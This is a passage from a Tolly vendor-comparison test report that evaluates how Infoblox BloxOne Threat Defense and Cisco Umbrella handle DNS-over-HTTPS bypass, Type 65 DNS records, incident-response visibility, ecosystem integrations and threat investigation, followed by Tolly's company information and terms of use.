Companies should use their own internal resolvers for visibility, control and security instead of allowing resolution to external
unauthorized DNS servers. Otherwise, any DNS security controls in place would be bypassed, providing no protection. There are
examples of attackers exploiting this, including a malware called PsiXBot that used DoH to communicate with C&C servers,
completely bypassing all security controls.

Validity
DoH is implemented at the browser level and is application specific. For example, in Mozilla Firefox, DoH is turned on by default.

Test Steps
Use an example blocked category to determine whether DoH is intercepted and secured.
• Configure each solution to block the alcohol category.
• Configure Firefox browser to disable DoH
• Confirm that attempting to access site www.wine.com is blocked by each solution
• Reconfigure Firefox browser to enable DoH
• Again, attempt to access www.wine.com and note whether the site can be reached or is blocked (as it should be)

TOLLY REPORT #222100 37

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics
Cisco (upper left) fails to block the request and resolves to the Cloudflare DNS. Infoblox (lower right) filters the request and
returns the IP address of the “walled garden."] See figures below.

TOLLY REPORT #222100 38

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

6b Support for Faster Web

Negotiation using New
Formats
Description
Apple’s iOS 14 introduced the new SVCB/HTTPS record type4, known as “Type 65” records, which will allow for faster web
experience but also generate twice the volume of dashboard DNS traffic. Umbrella automatically blocks these new record types
without any examination. Infoblox supports them, inspects them and then decides whether to block them or not based on
whether they are malicious communications.

Results
Infoblox detects and processes the Type 65 records and also applies filtering criteria correctly.
Cisco Umbrella blocks the use of Type65 DNS records. Browser falls back to legacy (slower) negotiation methods.

Importance
These record types were invented to help provide for a faster user experience but the records can be abused by attackers.

Validity
On any Apple device, these types of queries constant a large percentage of all DNS queries. For example, the Safari browser uses
these queries a lot. Other vendors in the industry are now providing support for these records showing that it is becoming
common.

Test Steps
Support will be determined by running a browser transaction, capturing the traffic flow using a network analyzer, and analyzing
the traffic flow. Once it is determined that the DNS solution is processing those records, attempt to navigate to a blocked site to
prove that he filtering support is operational.

4 https://blog.cloudflare.com/speeding-up-https-and-http-3-negotiation-with-dns/

TOLLY REPORT #222100 39

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics
Terminal output of “dig” DNS utility command show that Infoblox recognizes the new Type 65 command. See figure below.

TOLLY REPORT #222100 40

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

7 Incident Response and

Investigation
Many times SecOps will need to conduct additional investigations and do so rapidly. Thus, it is important to have visibility as well
as easy-to-use tools to navigate through relevant or related data. Additionally, it is important to be able to share threat
information easily with other, 3rd-party security perimeter systems.

Scenarios in this category

• Visibility for Incident Response

• Automated response using Ecosystem Integrations
• Threat Investigation

TOLLY REPORT #222100 41

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

7a Visibility for Incident

Response
Description
Show DNS, DHCP fingerprint and IPAM metadata and additional endpoint information in Infoblox reports

Results
Infoblox, via its endpoint agent, provides information over and above MAC and IP information. This includes client operating
system, OS user name, and client machine name.
Cisco Umbrella does not provide client operating system, OS user name, or client machine name.

Importance
This test demonstrates that showing an IP address alone for a compromised endpoint is insufficient for fast remediation. SecOps
teams need more context on asset type, criticality of asset and user identity to triage fast and respond.

Validity
When events occur, having as much information as possible quickly is key to effective incident response. This test shows the
importance of asset and user context for understanding scope and severity.

Test Steps
Display activity reports for each solution. Observe the endpoint (client) fields available the the SecOps team.

TOLLY REPORT #222100 42

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics
Infoblox provides more detailed client information fields than Cisco. See figures below.

TOLLY REPORT #222100 43

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

7b Automating Response
via Ecosystem Integration
Description
Virtually every environment will have a security and service management ecosystem. It is valuable for the security device to be
able to integrate with such systems and trigger actions such as automatic generation of firewall rules and service requests. This
demonstration used a Fortinet firewall along with Tenable, Rapid7 and Splunk platforms/environments. This is an Infoblox-only
test.

Results
Infoblox was able to communicate via APIs to the various ecosystem partners for actions such as triggering dynamic firewalls,
triggering scans and and raising a service ticket.

Importance
It is important for security devices to integrate tightly with the user’s existing workflow in order to effectively respond to threats.
Working with integration partners can not only improve security stances, but can also help automate response to networking
and security events like triggering a scan or raising an IT ticket. This security device integration helps improve the efficiency of
the organization.

Validity
This feature set illustrates how committed the solution is to helping to strengthen the security workflow and profile of the
customer.

Test Steps
Test steps will vary by specific ecosystem scenario.

TOLLY REPORT #222100 44

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics
Infoblox works with an organization’s security ecosystem, allowing it to work with “best in class” for each security category.

TOLLY REPORT #222100 45

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

7c Threat Investigation
Description
This test compares the capabilities of Dossier (part of BloxOne Threat Defense) and Investigate (part of Umbrella Advantage)
which are the respective solutions’ threat investigation tools.

Results
Infoblox Dossier (part of BloxOne Threat Defense) provides significant intelligence and analysis information.
Cisco Umbrella’s Investigate component requires the user to have more specific information in hand before beginning the
analysis.

Importance
Incident responders need information and context in order to appropriately scope, triage and respond to threats. Tools like
Dossier and Investigate are critical to the effective response to threats. The quality and the completeness of the data provided by
these solutions helps to empower the incident responder.

Validity
As part of the incident response process, tools should present enough information to help users determine what actions may be
needed, if any. This is a valid test because solutions must share not only that they discovered information, but also why that
information is important in order for an incident response team to scope, triage and respond.

Test Steps
Show where Infoblox lists active indicators to give the user a sense of the number of possible bad domains. Umbrella Investigate
does not show the list and forces the user to enter a malicious URL or hostname or domain coming from another source and
then displays information related to that indicator.

TOLLY REPORT #222100 46

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics

Infoblox Threat Defense

Infoblox provides context and threat information to assist the security team. See figures below.

Cisco Umbrella
Umbrella provides only a blank screen. The security team has to provide their own starting point for investigations. See figure
below.

TOLLY REPORT #222100 47

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

About Tolly…
The Tolly Group companies have been delivering world-class IT services for over 30 years.
Tolly is a leading global provider of third-party validation services for vendors of IT products, components and services.
Tolly also assists medium-sized businesses and large enterprises evaluate, benchmark and select IT products for deployment.
You can reach the company by email at [email protected], or by telephone at
+1 561.391.5610.
Visit Tolly on the Internet at:
http://www.tolly.com

Terms of Usage
This document is provided, free-of-charge, to help you understand whether a given product, technology or service
merits additional investigation for your particular needs. Any decision to purchase a product must be based on your own
assessment of suitability based on your needs. The document should never be used as a substitute for advice from a
qualified IT or business professional. This evaluation was focused on illustrating specific features and/or performance
of the product(s) and was conducted under controlled, laboratory conditions. Certain tests may have been tailored to
reflect performance under ideal conditions; performance may vary under real-world conditions. Users should run tests
based on their own real-world scenarios to validate performance for their own networks.

Reasonable efforts were made to ensure the accuracy of the data contained herein but errors and/or oversights can
occur. The test/audit documented herein may also rely on various test tools the accuracy of which is beyond our control.
Furthermore, the document relies on certain representations by the sponsor that are beyond our control to verify.
Among these is that the software/hardware tested is production or production track and is, or will be, available in
equivalent or better form to commercial customers. Accordingly, this document is provided "as is", and Tolly
Enterprises, LLC (Tolly) gives no warranty, representation or undertaking, whether express or implied, and accepts no
legal responsibility, whether direct or indirect, for the accuracy, completeness, usefulness or suitability of any
information contained herein. By reviewing this document, you agree that your use of any information contained herein
is at your own risk, and you accept all risks and responsibility for losses, damages, costs and other consequences
resulting directly or indirectly from any information or material available on it. Tolly is not responsible for, and you agree
to hold Tolly and its related affiliates harmless from any loss, harm, injury or damage resulting from or arising out of
your use of or reliance on any of the information provided herein.

Tolly makes no claim as to whether any product or company described herein is suitable for investment. You should
obtain your own independent professional advice, whether legal, accounting or otherwise, before proceeding with any
investment or project related to any information, products or companies described herein. When foreign translations
exist, the English document is considered authoritative. To assure accuracy, only use documents downloaded directly
from Tolly.com.

No part of any document may be reproduced, in whole or in part, without the specific written permission of Tolly. All
trademarks used in the document are owned by their respective owners. You agree not to use any trademark in or as
the whole or part of your own trademarks in connection with any activities, products or services which are not ours, or in
a manner which may be confusing, misleading or deceptive or in a manner that disparages us or our information,
projects or developments.

222100- jc-11—wt-2022-01-06-VerI

TOLLY REPORT #222100 48